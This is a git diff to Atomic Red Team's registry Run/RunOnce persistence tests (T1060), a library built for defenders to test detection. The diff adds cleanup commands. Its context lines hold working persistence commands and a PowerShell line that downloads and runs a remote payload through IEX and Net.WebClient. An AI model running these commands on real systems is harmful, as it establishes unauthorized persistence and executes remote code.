diff --git a/atomics/T1060/T1060.yaml b/atomics/T1060/T1060.yaml index dda5bbd2..764e5ea8 100644 --- a/atomics/T1060/T1060.yaml +++ b/atomics/T1060/T1060.yaml @@ -20,6 +20,7 @@ atomic_tests: name: command_prompt command: | REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}" + REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f - name: Reg Key RunOnce description: | RunOnce Key Persistence @@ -37,6 +38,7 @@ atomic_tests: name: command_prompt command: | REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}" + REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f - name: PowerShell Registry RunOnce description: | RunOnce Key Persistence via PowerShell @@ -55,6 +57,7 @@ atomic_tests: command: | $RunOnceKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat`")"' + Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force - name: Startup Folder description: | Add Shortcut To Startup via PowerShell